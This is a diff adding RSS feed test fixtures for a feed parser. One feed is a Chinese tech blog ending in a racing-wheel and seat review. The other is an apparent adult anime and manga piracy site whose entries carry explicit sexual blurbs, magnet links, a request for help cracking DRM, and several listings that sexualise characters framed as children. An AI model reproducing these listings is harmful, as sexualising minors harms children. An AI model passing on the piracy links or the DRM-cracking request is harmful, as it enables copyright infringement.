实践(十一):健康检查最佳实践</li> +</ol> + + Sun, 16 Feb 2020 00:00:00 +0000 + /2020/02/service-mesh-in-action.html + /2020/02/service-mesh-in-action.html + + + + 罗技 G29 与 Playseat 挑战者评测 + <h3 id="想要一套不占地方的赛车座椅">想要一套不占地方的赛车座椅</h3> + +<p>很早之前,在咸鱼买了一套罗技 G29 赛车游戏方向盘,全新的一套2500以上,用1600的价格买到一套二手的,算是捡了个便宜。</p> + +<p>卖家顺便送了一套简易的支架,放在自己的椅子前就可以玩。但是那坐姿,根本不是开车啊,简直是一种煎熬。</p> + +<p>于是在网上寻觅赛车座椅,价格倒不是问题,可以接受,但这个体积实在是…</p> + +<p><img src="/uploads/2017/05/ps4_9.png" alt="Playseat" /></p> + +<!--more--> + +<p> </p> + +<iframe frameborder="0" width="640" height="498" src="https://v.qq.com/iframe/player.html?vid=q0505suumo3&amp;tiny=0&amp;auto=0" allowfullscreen=""></iframe> + +<p> </p> + +<p>我也不可能天天玩,不玩的时候放哪呢?这东西差不多有一个沙发大小,而且很重。</p> + +<p>直到某一天,我看到了它!</p> + +<p><img src="/uploads/2017/05/ps4_10.png" alt="Playseat" /></p> + +<p> </p> + +<p>正在寻觅购买渠道的时候,正好发现它的国行版在京东首发了,因为东西还是挺大的,海淘算上运费后远超国行的价格。所以就毫不犹豫地入手了!</p> + +<p> </p> + +<h3 id="评测">评测</h3> + +<p>买 Playseat 挑战者之前,主要担心这几个问题:</p> + +<ol> + <li>和罗技 G29 搭配使用效果如何?</li> + <li>椅子看起来很单薄,会不会不稳,会不会不结实?</li> + <li>虽然折叠起来体积很小,但是收纳是否方便?</li> +</ol> + +<p>还好京东首发,不满意退货呗。</p> + +<p> </p> + +<h4 id="g29-搭配照">G29 搭配照</h4> + +<p>G29 的方向盘、排档杆、踏板都很完美地装上了!第一个疑问解除。</p> + +<p><img src="/uploads/2017/05/ps4_1.jpg" alt="G29" /></p> + +<p> </p> + +<p>走线也非常方便,可以仔细观察一下,我用了很多扎带来固定各种线。最后露出来的就两根,一根接电源,一根接 PS4。</p> + +<p><img src="/uploads/2017/05/ps4_2.jpg" alt="G29" /></p> + +<p> </p> + +<h4 id="罗技-g29-手感脚感">罗技 G29 手感脚感</h4> + +<p>顺便说说 G29,G29 是“专业”设备里最便宜的了,算是入门装备。</p> + +<p>首先它设备齐全,与 PS4 兼容性好。</p> + +<p>特别是玩 Project CARS(赛车计划)的时候,设置成手动模式并关闭自动离合器的时候,你不踩离合是无法换挡的。</p> + +<p>Driving Club(驾驶俱乐部)支持性稍差,离合器好像是不支持的。</p> + +<p>但两款游戏取向本来就不同,前者是专业取向,后者是娱乐取向。</p> + +<p>玩 Project CARS 真的很累,热车,调节,排位赛,一个个环节都和真的一样,悬挂之类的各种参数全部可以调节。</p> + +<p>Driving Club 就没这么啰嗦了,上来就直接跑。</p> + +<p> </p> + +<p>先说脚感吧,油门线性,和真车脚感类似。刹车偏硬,这个也合情合理,毕竟赛车都是没刹车助力的。所以刹车要狠狠地踩,力道很足!</p> + +<p>如果非要挑毛病的话就是缺少一些机械感,可能是因为没有路感所以让人不习惯吧。像真车踩刹车的时候,特别是急刹的时候,可以明显感觉到震动。如果踏板也有震动反馈就好了。</p> + +<p> </p> + +<p>接下来先说排档杆,外壳质感一般,塑料感比较强,好吧,本身就是塑料的。但不影响换挡手感,开起来感觉还行。平时用它的时候基本不会挂错档,所以手感还行。</p> + +<p>开手动的时候也可以用换挡拨片。</p> + +<p> </p> + +<p>最后来说说方向盘,这也是 G29 最大的问题,方向盘内部是齿轮结构的,所以虚位有点大。小幅度转动就是轻飘飘的感觉。但这毕竟是入门装备,没必要强求。</p> + +<p>有钱的都去买 Thrustmaster 的方向盘了,据说它是皮带的,转向手感会好很多。其实海淘一套 Thrustmaster 并不贵,看到亚马逊海外淘上原价2500,运费800(Prime 会员免运费),税600左右。有 Prime 会员的话3000多就拿下了。</p> + +<p>G29 方向盘除了虚位问题比较大外,震动反馈和力反馈还不错。特别是力反馈,力道非常足,足到什么地步?开久了我手臂酸疼!不得不在设置里把力反馈调小。</p> + +<p>同样是因为齿轮结构的原因,力反馈会有死角,产生的原因和虚位产生的原因应该是一样的,手感没那么细腻。</p> + +<p> </p> + +<h4 id="playseat-挑战者坐感">Playseat 挑战者坐感</h4> + +<p>第一次把 Playseat 挑战者装好坐下去的时候,就一个感觉!舒服!</p> + +<p><img src="/uploads/2017/05/ps4_11.jpg" alt="Playseat" /></p> + +<p>坐姿没有那么夸张,和真车类似,但是贴合性非常好。我正常开车1-2小时会腰酸,有腰拖调节也没用,毕竟是坐着的。主要受力的地方还是屁股和腰。</p> + +<p>但在这个座椅上,就是介于坐着和半躺之间的。背部和肩部都有支撑,所以长时间玩也不会不舒服。</p> + +<p> </p> + +<p>正好说说第二点担心。整张椅子看起来单薄,钢管很细,椅面是用大面积魔术贴固定的。没坐上去的时候是摇摇晃晃的。</p> + +<p><img src="/uploads/2017/05/ps4_3.jpg" alt="Playseat" /></p> + +<p> </p> + +<p><img src="/uploads/2017/05/ps4_4.jpg" alt="Playseat" /></p> + +<p> </p> + +<p>通过调节底部和扶手的魔术贴,可以切换椅子的角度。</p> + +<p>然后,一坐上去,反而就不摇晃了,人的体重正好压住了椅子。</p> + +<p>如果要挑毛病的话,最大的问题就是不能随时调节坐姿了,还好这个就我一个人玩,不需要经常挑。而且这样的坐姿兼容性比较好,老少兼宜。所以也不算是个大问题。</p> + +<p>脚底的踏板不能调节角度,但是可以调节距离,我的腿够长了,也可以调到舒服的位置。</p> + +<p> </p> + +<h4 id="整体收纳">整体收纳</h4> + +<p>最后是最关心的收纳部分:</p> + +<p>第一步先把电源线和 USB 先放到椅面。然后把方向盘下面的一个固定旋钮松开,方向盘会往下垂。</p> + +<p><img src="/uploads/2017/05/ps4_5.jpg" alt="Playseat" /></p> + +<p> </p> + +<p>第二部把椅子合起来,有专用的魔术贴可以可以固定。</p> + +<p><img src="/uploads/2017/05/ps4_6.jpg" alt="Playseat" /></p> + +<p> </p> + +<p>接下来把踏板收到最短的位置,然后抬起来,同样会有一个魔术贴可以固定。</p> + +<p><img src="/uploads/2017/05/ps4_7.jpg" alt="Playseat" /></p> + +<p> </p> + +<p>最后是收纳起来的效果,这体积控制得已经非常不错了!</p> + +<p><img src="/uploads/2017/05/ps4_8.jpg" alt="Playseat" /></p> + +<p> </p> + +<p>这里最让我满意的就是,收纳座椅的时候并不需要拆下方向盘,而已整体收纳。</p> + +<p>最多2分钟就搞定了,最后抬到储物的地方就行了。</p> + +<p>重量还行,一个男生抬起来没问题,但一个女生可能有点吃力。</p> + +<p> </p> + +<h3 id="模拟终究是模拟">模拟终究是模拟</h3> + +<p>驾驶还是开真的爽,虽然为了安全速度开不快,但过弯时的心脏跳动在游戏里是模拟不出来的。</p> + +<p>推荐个上海附近的山路好去处:浙江 S205 省道。沿路有很多旅游景点,路修得很好很平整,人也不多,非常适合体验山路驾驶的乐趣。</p> + +<p><img src="/uploads/2017/05/s205.png" alt="S205" /></p> + +<p> </p> + +<p>最后上一段视频:</p> + +<iframe frameborder="0" width="640" height="498" src="https://v.qq.com/iframe/player.html?vid=q0505k2jbyb&amp;tiny=0&amp;auto=0" allowfullscreen=""></iframe> + +<p> </p> + +<p>当然也要提醒大家,生命第一,安全第一,量力而行,准守交规。</p> + + Sat, 20 May 2017 00:00:00 +0000 + /2017/05/g29-and-playseat.html + /2017/05/g29-and-playseat.html + + + + diff --git a/tests/feedlib/testdata/parser/warn/https-www-hacg-site-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-hacg-site-feed.xml new file mode 100644 index 0000000..a901ac9 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-hacg-site-feed.xml @@ -0,0 +1,750 @@ + + + + 琉璃神社★分享动漫快乐 + + https://www.hacg.site + 最新的ACG资讯 分享同人动漫的快乐 + Sun, 05 Apr 2020 01:57:54 +0000 + zh-TW + + hourly + + 1 + https://wordpress.org/?v=5.2.4 + + [鈴木みら乃 petit] 自宅警備員2 第一話 巨乳エリート従兄妹・玲奈 ~奪われる純潔~ + https://www.hacg.site/anime/%e9%88%b4%e6%9c%a8%e3%81%bf%e3%82%89%e4%b9%83-petit-%e8%87%aa%e5%ae%85%e8%ad%a6%e5%82%99%e5%93%a12-%e7%ac%ac%e4%b8%80%e8%a9%b1-%e5%b7%a8%e4%b9%b3%e3%82%a8%e3%83%aa%e3%83%bc%e3%83%88%e5%be%93/ + https://www.hacg.site/anime/%e9%88%b4%e6%9c%a8%e3%81%bf%e3%82%89%e4%b9%83-petit-%e8%87%aa%e5%ae%85%e8%ad%a6%e5%82%99%e5%93%a12-%e7%ac%ac%e4%b8%80%e8%a9%b1-%e5%b7%a8%e4%b9%b3%e3%82%a8%e3%83%aa%e3%83%bc%e3%83%88%e5%be%93/#respond + Sun, 05 Apr 2020 01:57:54 +0000 + + + + + + + https://www.hacg.site/?p=4514 + + + + + +


    昨天是清明节,所以就不发了,等到过了0点,就是今天了。
    自宅警備員系列第2季,游戏改编,男主似乎一直带着面具?反正面部挺诡异的。
    看个动画有种在看鬼片的感觉,游戏原作的男主是妖怪来着,
    这个男主似乎和游戏不一样,还是要看后续剧情发展了。

    + + + +
    + + + +
    + + + +


    自宅警備員2 第一話 巨乳エリート従兄妹・玲奈 ~奪われる純潔~

    + + + +

    ブランド: 鈴木みら乃 petit
    定価: ¥3,800 (税込¥4,180)
    発売日: 2020/03/27
    メディア: DVD-VIDEO
    JANコード: 4589783302755
    品番: ACMDP-1023
    サブジャンル : 同人原作アニメ、アダルトアニメ

    + + + +
    + + + +

    商品紹介
    白く無表情なデスマスク。その下から覗く淫獣の眼(マナコ)が、監視カメラ越し、女性達の無防備な痴態を舐め回す。
    ff513cec5bf6b997efafcf8cc1c76fc08ad05eb8
    『鈴木みら乃』に【ロクデナシニート】新章突入!!
    究極のエンターテインメントを明日から目指したい成人向けソフトサークル『BEELZEBUB』今回のタイトルは……『自宅警備員2』
    主人公とは従兄妹の関係、『灰原玲奈』が今回のターゲットに!!
    盗撮機器を駆使し、ターゲットの弱みを握れば、あとはヤりたい放題の性欲パラダイス!!

    + + + +
    + + + +

    【DVD特典】
    ●俺が白黒の線撮動画を見てしまう理由 チャプター付き!

    + + + +
    + + + +
    + + + +

    ストーリー
    男の名前は『灰原 引守(はいばら ひきもり)』自宅警備員として生家である屋敷を永年守り続けてきた彼の生活に、暗雲が垂れ込める。
    叔母の『灰原 志保(しほ)』、その娘で従兄妹の『玲奈(れいな)』
    一週間後に迫る玲奈の結婚式を機に、屋敷の相続権が彼女たちに渡されることとなってしまった。
    屋敷をその手に収める為、引守は数々の盗撮機械を駆使し、従兄妹である玲奈の弱点を探る。
    ビジネススーツに包まれた張りのある柔肌。
    スーツを脱げば豊かに育った乳肉がまろび出る。
    深夜の自室、一人悶える玲奈。
    穢れのない陰唇をかき乱す。
    普段はお硬い彼女が見せる、秘めた肉欲の正体とは……。
    白く無表情なデスマスク。その下から覗く淫獣の眼(マナコ)が、監視カメラ越し、女性達の無防備な痴態を舐め回す。

    + + + +
    + + + +

    スタッフ
    自宅警備員(原作:BEELZEBUB)/企画:姦三/プロデューサー:山本敏行/監督:横山ひろみ/脚本::特区03/絵コンテ:村山晴美/キャラクターデザイン:citizen08/作画監督:HB/製作:鈴木みら乃

    + + + +
    +]]>
    + https://www.hacg.site/anime/%e9%88%b4%e6%9c%a8%e3%81%bf%e3%82%89%e4%b9%83-petit-%e8%87%aa%e5%ae%85%e8%ad%a6%e5%82%99%e5%93%a12-%e7%ac%ac%e4%b8%80%e8%a9%b1-%e5%b7%a8%e4%b9%b3%e3%82%a8%e3%83%aa%e3%83%bc%e3%83%88%e5%be%93/feed/ + 0 +
    + + [桜都字幕组] 2020年03月合集 + https://www.hacg.site/anime/%e6%a1%9c%e9%83%bd%e5%ad%97%e5%b9%95%e7%bb%84-2020%e5%b9%b403%e6%9c%88%e5%90%88%e9%9b%86/ + https://www.hacg.site/anime/%e6%a1%9c%e9%83%bd%e5%ad%97%e5%b9%95%e7%bb%84-2020%e5%b9%b403%e6%9c%88%e5%90%88%e9%9b%86/#respond + Sun, 05 Apr 2020 01:56:59 +0000 + + + + + + + https://www.hacg.site/?p=4512 + + + + + +


    感谢桜都字幕组
    如果是比较急的观众,可以先看看合集,单集版本我会稍后仔细讲解

    + + + +
    [PoRO]OVA妖魔娼館へようこそ#2
    +[PoRO]完璧お嬢様の私が土下座でマゾ堕ちするちょろインなワケないですわ! ご奉仕執事・セレスティン~恥じらい鞭打つ放置プレイ~
    +[Queen Bee]人妻、蜜と肉 第三巻[月野定規]
    +7fce086c3db8e0f41ece40dc92e3f4c3aa16b535
    +[あんてきぬすっ]OVA色情教団#1
    +[ピンクパイナップル]淫毛 第1巻
    +[ピンクパイナップル]淫毛 第2巻
    +[メリー・ジェーン]お兄ちゃん、朝までずっとギュッてして! 女未そら編
    +[鈴木みら乃]自宅警備員2 第一話 巨乳エリート従兄妹・玲奈 ~奪われる純潔~
    +[魔人]○○交配 第三話 傲慢な彼女は竜の長
    +[桜都字幕组][200306[メリー・ジェーン]ヴィーナスブラッド-ブレイヴ-第4話 堕ちた騎士の魂は触手の拘束で清められる
    +
    +]]>
    + https://www.hacg.site/anime/%e6%a1%9c%e9%83%bd%e5%ad%97%e5%b9%95%e7%bb%84-2020%e5%b9%b403%e6%9c%88%e5%90%88%e9%9b%86/feed/ + 0 +
    + + [Queen Bee] 人妻、蜜と肉 第三巻[月野定規] + https://www.hacg.site/anime/queen-bee-%e4%ba%ba%e5%a6%bb%e3%80%81%e8%9c%9c%e3%81%a8%e8%82%89-%e7%ac%ac%e4%b8%89%e5%b7%bb%ef%bc%bb%e6%9c%88%e9%87%8e%e5%ae%9a%e8%a6%8f%ef%bc%bd/ + https://www.hacg.site/anime/queen-bee-%e4%ba%ba%e5%a6%bb%e3%80%81%e8%9c%9c%e3%81%a8%e8%82%89-%e7%ac%ac%e4%b8%89%e5%b7%bb%ef%bc%bb%e6%9c%88%e9%87%8e%e5%ae%9a%e8%a6%8f%ef%bc%bd/#respond + Sun, 05 Apr 2020 01:55:11 +0000 + + + + + + + https://www.hacg.site/?p=4510 + + + + + +


    健身教练篇,一共2.5集已经结束,男主和社长喜得贵子。
    第3卷后半段讲述的是另外一个海边浴场的故事。

    + + + +
    + + + +

    视频来源:https://www.bilibili.com/video/BV1fT4y137MJ

    + + + +

    人妻、蜜と肉 第三巻[月野定規]

    + + + +

    ブランド: Queen Bee
    定価: ¥3,800 (税込¥4,180)
    発売日: 2020/03/27
    メディア: DVD-VIDEO
    JANコード: 4539310702787
    品番: QNB-M073
    時間: 約20分
    サブジャンル : アダルトコミック原作アニメ、アダルトアニメ

    + + + +
    + + + +

    商品紹介

    + + + +

    「月野定規」氏の原作「人妻、蜜と肉」(コアマガジン)OVA化第三弾!
    dfcf269a1c2a791d58f3e71b8853000c59b8e889
    若い肉体を貪りつくす美熟女たちの響宴…

    + + + +
    + + + +

    ストーリー
    【Let’s get フィジカル!! 最終話】
    泊りがけのダブルデート。リゾート気分もあいまって、サカリのついたオスとメスそのままに熱い肉の交わりを貪り合う。
    だが、高村と島津は、所詮彼らの恋愛対象にはならない事を悟り悲観するが、人妻の名器で若い娘よりも喜ばせる事ができると自負する。
    何度も絶頂を迎えた後、互いの意思を確認し本気の種付けが始まる。

    + + + +
    + + + +

    【逆ナンPARADISE】
    通称逆ナン天国(パラダイス)と噂された複合レジャー施設にやってきた二人。
    入場して歩いていると後ろから大人の女性に声を掛けられ付いて行くことに。
    話をすると目的は一つ「ヤレる」!
    最初は戸惑う童貞の二人だったが、一通り手ほどきを受け全部教わると、体力が続く限り肉棒と肉穴で交わり続けた。

    + + + +

    原作 「人妻と蜜と肉」より「Let’s get フィジカル!! 最終話」「逆ナンPARADISE」収録

    + + + +
    +]]>
    + https://www.hacg.site/anime/queen-bee-%e4%ba%ba%e5%a6%bb%e3%80%81%e8%9c%9c%e3%81%a8%e8%82%89-%e7%ac%ac%e4%b8%89%e5%b7%bb%ef%bc%bb%e6%9c%88%e9%87%8e%e5%ae%9a%e8%a6%8f%ef%bc%bd/feed/ + 0 +
    + + 琉璃神社壁纸包 2020年3月号 + https://www.hacg.site/article/%e7%90%89%e7%92%83%e7%a5%9e%e7%a4%be%e5%a3%81%e7%ba%b8%e5%8c%85-2020%e5%b9%b43%e6%9c%88%e5%8f%b7/ + https://www.hacg.site/article/%e7%90%89%e7%92%83%e7%a5%9e%e7%a4%be%e5%a3%81%e7%ba%b8%e5%8c%85-2020%e5%b9%b43%e6%9c%88%e5%8f%b7/#respond + Sun, 05 Apr 2020 01:54:35 +0000 + + + + + + https://www.hacg.site/?p=4508 + + + + + +


    本来打算今天发动画的,想想还是先把壁纸包给发了。
    对壁纸有需求的话可以自行取用
    关于这种壁纸中的柱子,我认为应该是垃圾回收站。
    在日本建筑都很矮,很少有这种柱形建筑,
    尤其在市区,那90%以上就是垃圾站的烟囱,不过这种烟囱并不会冒烟。
    身体好轻,已经没什么好怕的了

    + + + +
    琉璃神社壁纸包 2020年3月号
    +
    +http://v2.uploadbt.com/,提取码:
    +ba90c2b7525adc11f969c829b0376d1d2629baaa
    +
    +magnet:?xt=urn:btih:ba90c2b7525adc11f969c829b0376d1d2629baaa
    +
    + + + +
    + + + +
    +]]>
    + https://www.hacg.site/article/%e7%90%89%e7%92%83%e7%a5%9e%e7%a4%be%e5%a3%81%e7%ba%b8%e5%8c%85-2020%e5%b9%b43%e6%9c%88%e5%8f%b7/feed/ + 0 +
    + + [ピンクパイナップル] 淫毛 第1巻 第2巻 + https://www.hacg.site/anime/%e3%83%94%e3%83%b3%e3%82%af%e3%83%91%e3%82%a4%e3%83%8a%e3%83%83%e3%83%97%e3%83%ab-%e6%b7%ab%e6%af%9b-%e7%ac%ac1%e5%b7%bb-%e7%ac%ac2%e5%b7%bb/ + https://www.hacg.site/anime/%e3%83%94%e3%83%b3%e3%82%af%e3%83%91%e3%82%a4%e3%83%8a%e3%83%83%e3%83%97%e3%83%ab-%e6%b7%ab%e6%af%9b-%e7%ac%ac1%e5%b7%bb-%e7%ac%ac2%e5%b7%bb/#respond + Sun, 05 Apr 2020 01:53:30 +0000 + + + + + https://www.hacg.site/?p=4506 + + + + + +


    一天出2卷,这种操作都做的出来,
    为什么不连在一起出个加长版的,
    如果是为了赚钱或许价格可以定高点嘛。
    每集都是两个小故事,1-2集剧情并没有关联。

    + + + +
    + + + +

    淫毛 第1巻

    + + + +

    ブランド: ピンクパイナップル
    定価: ¥3,800 (税込¥4,180)
    発売日: 2020/03/27
    メディア: DVD-VIDEO
    JANコード: 4988707575655
    品番: JDXA-57565
    サブジャンル : アダルトコミック原作アニメ、アダルトアニメ

    + + + +

    商品紹介
    2939058cd65b223f7cbf6360e4774e5afeb980f1
    “腋毛ありお姉ちゃん” で人気の毛フェチ新鋭エロ漫画家「たにし」による初単行本が待望の淫毛ーション(インモーション)化!
    不道徳で卑猥すぎる、腋と体毛。
    漂う牝の淫臭と濃密な陰毛描写。
    むっちりスケベボディーに香しいフェロモン。
    湿度マシマシの映像化!

    + + + +

    【初回限定特典】
    ●たにし先生描き下ろし2巻収納三方背BOX

    + + + +

    【収録タイトル】
    ●『揺藍』
    ●『立てば芍薬座れば牡丹淫れる姿は毛氈苔』

    + + + +

    スタッフ
    原作:たにし(コアマガジン刊)「淫毛」/監督:倉森六郎/アニメーション制作:アニメーションスタジオ・セブン/製作:ピンクパイナップル

    + + + +
    + + + +
    + + + +

    淫毛 第2巻

    + + + +

    ブランド: ピンクパイナップル
    定価: ¥3,800 (税込¥4,180)
    発売日: 2020/03/27
    メディア: DVD-VIDEO
    JANコード: 4988707575679
    品番: JDXA-57567
    サブジャンル : アダルトコミック原作アニメ、アダルトアニメ

    + + + +

    商品紹介
    c3e4310bc24ca928c3d64a0509c9443007fe8276
    “腋毛ありお姉ちゃん” で人気の毛フェチ新鋭エロ漫画家「たにし」による初単行本が待望の淫毛ーション(インモーション)化!
    不道徳で卑猥すぎる、腋と体毛。
    漂う牝の淫臭と濃密な陰毛描写。
    むっちりスケベボディーに香しいフェロモン。
    湿度マシマシの映像化!

    + + + +

    【収録タイトル】
    ●『ラブなしラブありラブラブ』
    ●『性愛』

    + + + +

    スタッフ
    原作:たにし(コアマガジン刊)「淫毛」/監督:倉森六郎/アニメーション制作:アニメーションスタジオ・セブン/製作:ピンクパイナップル

    + + + +
    + + + +
    + + + +
    +]]>
    + https://www.hacg.site/anime/%e3%83%94%e3%83%b3%e3%82%af%e3%83%91%e3%82%a4%e3%83%8a%e3%83%83%e3%83%97%e3%83%ab-%e6%b7%ab%e6%af%9b-%e7%ac%ac1%e5%b7%bb-%e7%ac%ac2%e5%b7%bb/feed/ + 0 +
    + + [夜桜字幕组/yozakura.sub] 2020年3月3D作品合集 + https://www.hacg.site/anime/%e5%a4%9c%e6%a1%9c%e5%ad%97%e5%b9%95%e7%bb%84-yozakura-sub-2020%e5%b9%b43%e6%9c%883d%e4%bd%9c%e5%93%81%e5%90%88%e9%9b%86/ + https://www.hacg.site/anime/%e5%a4%9c%e6%a1%9c%e5%ad%97%e5%b9%95%e7%bb%84-yozakura-sub-2020%e5%b9%b43%e6%9c%883d%e4%bd%9c%e5%93%81%e5%90%88%e9%9b%86/#respond + Sun, 05 Apr 2020 01:52:44 +0000 + + + + + + + https://www.hacg.site/?p=4504 + + + + + +


    夜桜本月的3D合集已经出了,
    当然也又大家期待已久的土地神第2话的字幕。除了本合集,原文章也更新了独立字幕版
    感谢字幕组的辛苦工作

    + + + +

    目录:
    dd64836c039abfa07c51b32fcc69f433e80492d5
    [19XXXX][Big Johnson]SPECIAL DELIVERY
    [080201][ごません(3D) ]抱いて!四十八手
    [171104][底辺パラダイス]SOUL COWPER
    [191101][アブジャン]ガチロリマグワイ~カワロリちゃんとキモおじさんのパコハメシンフォニー~
    [191225[FuenoNe Works]裏庭の土地神様~第二話前編~

    + + + +
    +]]>
    + https://www.hacg.site/anime/%e5%a4%9c%e6%a1%9c%e5%ad%97%e5%b9%95%e7%bb%84-yozakura-sub-2020%e5%b9%b43%e6%9c%883d%e4%bd%9c%e5%93%81%e5%90%88%e9%9b%86/feed/ + 0 +
    + + [綺堂無一] 交尾ごっこ + https://www.hacg.site/comic/%e7%b6%ba%e5%a0%82%e7%84%a1%e4%b8%80-%e4%ba%a4%e5%b0%be%e3%81%94%e3%81%a3%e3%81%93/ + https://www.hacg.site/comic/%e7%b6%ba%e5%a0%82%e7%84%a1%e4%b8%80-%e4%ba%a4%e5%b0%be%e3%81%94%e3%81%a3%e3%81%93/#respond + Sun, 05 Apr 2020 01:51:52 +0000 + + + + + + + https://www.hacg.site/?p=4502 + + + + + +


    推荐这本来自綺堂無一的有趣的单行本,画风很细腻,
    剧情主要是说邻桌的怪同学。
    向不可思议的神“柯姆大人”许下“请给我同学的内裤”的愿望,于是恋爱开始了

    + + + +
    + + + +

    タイトル:交尾ごっこ
    出版社: ティーアイネット
    作家名: 綺堂無一
    ジャンル: MUJIN COMICS
    発行日: 2019/12/13
    版型・メディア: A5

    + + + +

    【あらすじ】
    カラダも心も発達段階?
    インピオはヌける。
    まかせてよかった綺堂無一に!!
    857e7428c811819e331ee89e7315bd825127c578
    不思議な神様「カム様」に「クラスメイトのパンツをください!」とお願いした求は御神徳を授かった!!
    そのチカラとカム様のお節介にて「ルリ香」「かなで」と両想いになり、イチャラブHに成功する。
    しかし修羅場(?)は訪れて………
    【カム様HELP!!】(全3話)

    + + + +

    となりの席の綾瀬は変わったヤツで、何かと俺にエッチなイタズラを仕掛けてくる………
    【綾瀬さんはエッチにからかう】

    + + + +

    掃除当番を押し付けられてもスカートをめくられても、いつも無口なあの娘。
    俺は気になって仕方ない………
    【彼女の喘かせ方】

    + + + +

    ちいさいこ同士のガチ恋愛、この道を行く。
    綺堂無一2nd単行本!!

    + + + +

    【収録作品】
    綾瀬さんはエッチにからかう
    カム様HELP!!〈前編〉
    カム様HELP!!〈中編〉
    カム様HELP!!〈後編〉
    彼女の喘かせ方

    + + + +
    + + + +
    +]]>
    + https://www.hacg.site/comic/%e7%b6%ba%e5%a0%82%e7%84%a1%e4%b8%80-%e4%ba%a4%e5%b0%be%e3%81%94%e3%81%a3%e3%81%93/feed/ + 0 +
    + + [木谷椎] ゆいちゃん撮影会 MDコミックスNEO + https://www.hacg.site/comic/%e6%9c%a8%e8%b0%b7%e6%a4%8e-%e3%82%86%e3%81%84%e3%81%a1%e3%82%83%e3%82%93%e6%92%ae%e5%bd%b1%e4%bc%9a-md%e3%82%b3%e3%83%9f%e3%83%83%e3%82%af%e3%82%b9neo/ + https://www.hacg.site/comic/%e6%9c%a8%e8%b0%b7%e6%a4%8e-%e3%82%86%e3%81%84%e3%81%a1%e3%82%83%e3%82%93%e6%92%ae%e5%bd%b1%e4%bc%9a-md%e3%82%b3%e3%83%9f%e3%83%83%e3%82%af%e3%82%b9neo/#respond + Sun, 05 Apr 2020 01:51:15 +0000 + + + + + + + https://www.hacg.site/?p=4500 + + + + + +


    木谷椎的单行本,老司机应该都认识这个作者了,画风细腻。
    话说最近病毒全世界蔓延的挺厉害的,希望大家都健康。
    本作的剧情大致就是:没错,警察先生,就是这个人!

    + + + +
    + + + +

    ゆいちゃん撮影会 MDコミックスNEO

    + + + +

    著者:木谷椎
    ブランド: メディアックス
    定価: ¥1,100 (税込¥1,210)
    発売日: 2019/12/26
    メディア: コミックス
    ISBN-13: 9784866746098
    サブジャンル : アダルトコミック

    + + + +

    引用翻译者的话:

    + + + +

    自购。全篇200+,龟速更新中。这两天刚刚把图截完。DMME格式的文件实在不会破解,只能在线浏览然后截图,放大之后截图三次拼在一起……超麻烦。有大佬会破解DMME的话请dd我,感激不尽。翻译就一个人,嵌字就我在搞,都不是专业的,水平可能稍有欠缺,更新也可能很慢,见谅。8f312ef44861ac867a96db62d372f24100664877

    + + + +

    木谷椎的一月中旬的新单行本,看了下其中有些部分E站没有,而且基本上都没有汉化,就决定搞了,但是搞起来还是挺麻烦的……

    + + + +

    2020/2/1更新第一篇
    这篇信息量意外的大,甚至有点让人怀疑不是kiyashii而是yichihaya在画…但是那个明显的真由香脸还是证明了这是木谷椎的作品【笑】

    + + + +

    2020/2/3 更新第二部分
    这篇倒是挺久的了,收录在了单行本里。站上早就有汉化了,但是那个汉化玩梗比较多,我个人比较喜欢基于原文的翻译(所以有时候可能润色不到位),就重翻了一下。应援这个词现在偶像文化也不陌生,就直接落下没做多余翻译。这么多人透5轮还没事,偶像果然不是一般人jpg
    感谢愿意帮我分担任务的大佬,这样出本应该会更快一点(吧)

    + + + +

    2020/2/14 更新至一半。
    原本是计划赶情人节发完的,但是其中有些部分意外的有点麻烦,加上最近也的确比较忙,就先把手里做完的半本发出来。感谢【OECLantern】和【寒】二位的翻译协力,还有【ZIP】的嵌字协力。近期会尽快把整本做出来的。
    这本的风格还真是丰富……从纯爱到雷普,后面还有民俗/黑化,刚刚做完的还有露出,还有一篇笑到硬不起来生草本。虽然尽力去保留原汁原味了,但是水平有限,个别地方可能意有不逮,还望见谅。希望各位能享受这一本(半本)

    + + + +

    2020/3/13 更新完成
    单行本什么的再也不做啦,累死人啦,工作量远超预期啊
    虽然做的不够精细但是应该不影响使用,如果有严重bug请在评论区指出,我尽力跟进修复
    希望诸位能愉快享用

    + + + +
    + + + +
    + + + +
    + + + +

    +]]>
    + https://www.hacg.site/comic/%e6%9c%a8%e8%b0%b7%e6%a4%8e-%e3%82%86%e3%81%84%e3%81%a1%e3%82%83%e3%82%93%e6%92%ae%e5%bd%b1%e4%bc%9a-md%e3%82%b3%e3%83%9f%e3%83%83%e3%82%af%e3%82%b9neo/feed/ + 0 +
    + + [Potato mine] ちょーれつ!お世話係ももたん + https://www.hacg.site/anime/potato-mine-%e3%81%a1%e3%82%87%e3%83%bc%e3%82%8c%e3%81%a4%e3%81%8a%e4%b8%96%e8%a9%b1%e4%bf%82%e3%82%82%e3%82%82%e3%81%9f%e3%82%93/ + https://www.hacg.site/anime/potato-mine-%e3%81%a1%e3%82%87%e3%83%bc%e3%82%8c%e3%81%a4%e3%81%8a%e4%b8%96%e8%a9%b1%e4%bf%82%e3%82%82%e3%82%82%e3%81%9f%e3%82%93/#respond + Sun, 05 Apr 2020 01:48:17 +0000 + + + + + + + https://www.hacg.site/?p=4496 + + + + + +

    这个社团出过很多的3D动画,制作水平很高,
    这个社团的特色就是手办一样大小的迷你小人,
    不知道是不是偷吃了路飞的橡胶果实,
    整个人似乎可以无限扩张。配音和动作都很到位。

    + + + +
    + + + +

    ちょーれつ!お世話係ももたん

    + + + +

    社团名: Potato mine
    贩卖日: 2020年03月14日
    作者: potatomine
    声优: 亜久城皐月
    作品形式: 视频、有声音
    文件形式: MP4/ MP3
    其他: 日语作品
    分类: 纯爱/甜蜜、外射、扩张、飞机场/平胸、萝莉、掏耳、3D作品
    文件容量: 合计 4.81GB
    配置要求 ※mp4ファイル動作可能な環境が必要です デモムービーにて動作確認をお願いします

    + + + +

    作品内容

    + + + +
    + + + +

    ■フィギュアサイズのロリッ子お世話係ムービー第二弾!
    fd3c818e70d1e92920cf5b1718c0f3866de049f6
    2e4ce15ab13f63bd7cd95707b39f0d6c0ee85255
    あまあま大好き!お菓子大好きなお世話係、ももたんがちょーれつ!頑張りましゅ!
    おませでちょっと背伸びしたい年ごろだけど、おにぃにぃとのセックスは初めてなのでしたぁ

    + + + +

    ■メイン動画(A)ちょーれつ!お世話係編[16分41秒]

    + + + +

    「おにぃにぃ、おかえりなちゃい♪」
    ももたんがおにぃにぃのお世話をする、あまあま、ほのぼのパート
    ご褒美をたくさんもらって、いつのまにやら立場逆転?
